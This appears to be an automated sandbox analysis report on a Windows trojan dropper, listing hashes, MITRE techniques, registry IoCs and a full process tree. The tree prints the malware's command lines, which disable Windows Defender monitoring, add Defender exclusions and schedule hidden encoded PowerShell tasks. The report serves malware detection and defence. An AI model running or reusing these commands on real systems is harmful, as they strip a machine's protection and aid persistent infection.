a1e35f678e9003c0fc6023451952a1e84f7544b3ef9d7b49c9fa0b790c17532a

Analysis

max time kernel
156s
max time network
171s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
11/10/2022, 17:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

c5d329fbd15ae53d4429c0a2b9811b52
SHA1

6063a8bad5a7449fb1afafc51a4f63058cb1284f
SHA256

a1e35f678e9003c0fc6023451952a1e84f7544b3ef9d7b49c9fa0b790c17532a
SHA512

b6169748e359145fdb3b6207e1e52cbaffceecd9fa839607a62af472d14e20900660c172ef71bf0ea78557d21bbd9a1e9b3aa2c2585ad0f35b05b2e2d47f4372
SSDEEP

196608:91OEF5vIu50q++zJZQuTX18vpd3oeSWSf8gSoAkS:3OELIu5L++nQuTFoHSWSf8gc

Score

10^/10

evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\UBqYudvSNocU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\RqtPwFqMTiUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\hrOORTLiECQfZJVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oXjeNNLqKAotC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xonCRuklPFipnPeqKpR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xonCRuklPFipnPeqKpR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\hrOORTLiECQfZJVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZUXSmeDRU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\UBqYudvSNocU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oXjeNNLqKAotC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\YSrBLfWUtIHnuviW = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\YSrBLfWUtIHnuviW = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\RqtPwFqMTiUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\YSrBLfWUtIHnuviW = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\YSrBLfWUtIHnuviW = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZUXSmeDRU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Executes dropped EXE 3 IoCs

pid	Process
1964	Install.exe
1656	Install.exe
856	zMAsZwX.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1460	file.exe
1964	Install.exe
1964	Install.exe
1964	Install.exe
1964	Install.exe
1656	Install.exe
1656	Install.exe
1656	Install.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	zMAsZwX.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	zMAsZwX.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	zMAsZwX.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bKwcWZekAnYWEgmozo.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1812	schtasks.exe
1940	schtasks.exe
956	schtasks.exe
1960	schtasks.exe
2032	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
960	powershell.EXE
960	powershell.EXE
960	powershell.EXE
912	powershell.EXE
912	powershell.EXE
912	powershell.EXE
300	powershell.EXE
300	powershell.EXE
300	powershell.EXE
1500	powershell.EXE
1500	powershell.EXE
1500	powershell.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	960	powershell.EXE
Token: SeDebugPrivilege	912	powershell.EXE
Token: SeDebugPrivilege	300	powershell.EXE
Token: SeDebugPrivilege	1500	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1460 wrote to memory of 1964	1460	file.exe	26
PID 1460 wrote to memory of 1964	1460	file.exe	26
PID 1460 wrote to memory of 1964	1460	file.exe	26
PID 1460 wrote to memory of 1964	1460	file.exe	26
PID 1460 wrote to memory of 1964	1460	file.exe	26
PID 1460 wrote to memory of 1964	1460	file.exe	26
PID 1460 wrote to memory of 1964	1460	file.exe	26
PID 1964 wrote to memory of 1656	1964	Install.exe	27
PID 1964 wrote to memory of 1656	1964	Install.exe	27
PID 1964 wrote to memory of 1656	1964	Install.exe	27
PID 1964 wrote to memory of 1656	1964	Install.exe	27
PID 1964 wrote to memory of 1656	1964	Install.exe	27
PID 1964 wrote to memory of 1656	1964	Install.exe	27
PID 1964 wrote to memory of 1656	1964	Install.exe	27
PID 1656 wrote to memory of 632	1656	Install.exe	29
PID 1656 wrote to memory of 632	1656	Install.exe	29
PID 1656 wrote to memory of 632	1656	Install.exe	29
PID 1656 wrote to memory of 632	1656	Install.exe	29
PID 1656 wrote to memory of 632	1656	Install.exe	29
PID 1656 wrote to memory of 632	1656	Install.exe	29
PID 1656 wrote to memory of 632	1656	Install.exe	29
PID 1656 wrote to memory of 1820	1656	Install.exe	31
PID 1656 wrote to memory of 1820	1656	Install.exe	31
PID 1656 wrote to memory of 1820	1656	Install.exe	31
PID 1656 wrote to memory of 1820	1656	Install.exe	31
PID 1656 wrote to memory of 1820	1656	Install.exe	31
PID 1656 wrote to memory of 1820	1656	Install.exe	31
PID 1656 wrote to memory of 1820	1656	Install.exe	31
PID 632 wrote to memory of 1184	632	forfiles.exe	34
PID 632 wrote to memory of 1184	632	forfiles.exe	34
PID 632 wrote to memory of 1184	632	forfiles.exe	34
PID 632 wrote to memory of 1184	632	forfiles.exe	34
PID 632 wrote to memory of 1184	632	forfiles.exe	34
PID 632 wrote to memory of 1184	632	forfiles.exe	34
PID 632 wrote to memory of 1184	632	forfiles.exe	34
PID 1820 wrote to memory of 1628	1820	forfiles.exe	33
PID 1820 wrote to memory of 1628	1820	forfiles.exe	33
PID 1820 wrote to memory of 1628	1820	forfiles.exe	33
PID 1820 wrote to memory of 1628	1820	forfiles.exe	33
PID 1820 wrote to memory of 1628	1820	forfiles.exe	33
PID 1820 wrote to memory of 1628	1820	forfiles.exe	33
PID 1820 wrote to memory of 1628	1820	forfiles.exe	33
PID 1184 wrote to memory of 1812	1184	cmd.exe	36
PID 1184 wrote to memory of 1812	1184	cmd.exe	36
PID 1184 wrote to memory of 1812	1184	cmd.exe	36
PID 1184 wrote to memory of 1812	1184	cmd.exe	36
PID 1184 wrote to memory of 1812	1184	cmd.exe	36
PID 1184 wrote to memory of 1812	1184	cmd.exe	36
PID 1184 wrote to memory of 1812	1184	cmd.exe	36
PID 1628 wrote to memory of 836	1628	cmd.exe	35
PID 1628 wrote to memory of 836	1628	cmd.exe	35
PID 1628 wrote to memory of 836	1628	cmd.exe	35
PID 1628 wrote to memory of 836	1628	cmd.exe	35
PID 1628 wrote to memory of 836	1628	cmd.exe	35
PID 1628 wrote to memory of 836	1628	cmd.exe	35
PID 1628 wrote to memory of 836	1628	cmd.exe	35
PID 1184 wrote to memory of 1168	1184	cmd.exe	38
PID 1184 wrote to memory of 1168	1184	cmd.exe	38
PID 1184 wrote to memory of 1168	1184	cmd.exe	38
PID 1184 wrote to memory of 1168	1184	cmd.exe	38
PID 1184 wrote to memory of 1168	1184	cmd.exe	38
PID 1184 wrote to memory of 1168	1184	cmd.exe	38
PID 1184 wrote to memory of 1168	1184	cmd.exe	38
PID 1628 wrote to memory of 700	1628	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1460
- C:\Users\Admin\AppData\Local\Temp\7zS87E6.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Users\Admin\AppData\Local\Temp\7zSAF44.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1656
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:632
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1184
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1812
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1168
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1820
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1628
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:836
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:700
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "goBUaNmRF" /SC once /ST 01:44:22 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1940
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "goBUaNmRF"
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "goBUaNmRF"
      4⤵
      PID:1952
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bKwcWZekAnYWEgmozo" /SC once /ST 19:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\zMAsZwX.exe\" q8 /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:956

C:\Windows\system32\taskeng.exe
taskeng.exe {995CBD83-E622-45F9-9EC3-41FF19EF877B} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
1⤵
PID:428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:960
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:912
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:300
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1500
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1824

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1112

C:\Windows\system32\taskeng.exe
taskeng.exe {66C1752E-3111-4CD1-A7F9-D08B86937F13} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1216
- C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\zMAsZwX.exe
  C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\zMAsZwX.exe q8 /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gDxHNHjZH" /SC once /ST 15:47:40 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1960
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gDxHNHjZH"
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gDxHNHjZH"
    3⤵
    PID:1936
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1592
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:952
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1112
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gfrpAIVDC" /SC once /ST 13:13:02 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2032
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gfrpAIVDC"
    3⤵
    PID:1224
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gfrpAIVDC"
    3⤵
    PID:1764
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\YSrBLfWUtIHnuviW" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:928
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\YSrBLfWUtIHnuviW" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1480
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\YSrBLfWUtIHnuviW" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:360
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\YSrBLfWUtIHnuviW" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1408
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\YSrBLfWUtIHnuviW" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2020
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\YSrBLfWUtIHnuviW" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2044
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\YSrBLfWUtIHnuviW" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1260
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\YSrBLfWUtIHnuviW" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:996
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\YSrBLfWUtIHnuviW\VoAyMilu\QskwKAXDTxXhboFR.wsf"
    3⤵
    PID:1616
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\YSrBLfWUtIHnuviW\VoAyMilu\QskwKAXDTxXhboFR.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1756
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RqtPwFqMTiUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1744
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RqtPwFqMTiUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1972
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UBqYudvSNocU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2040
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UBqYudvSNocU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1452
  - - C:\Windows\SysWOW64\reg.exe
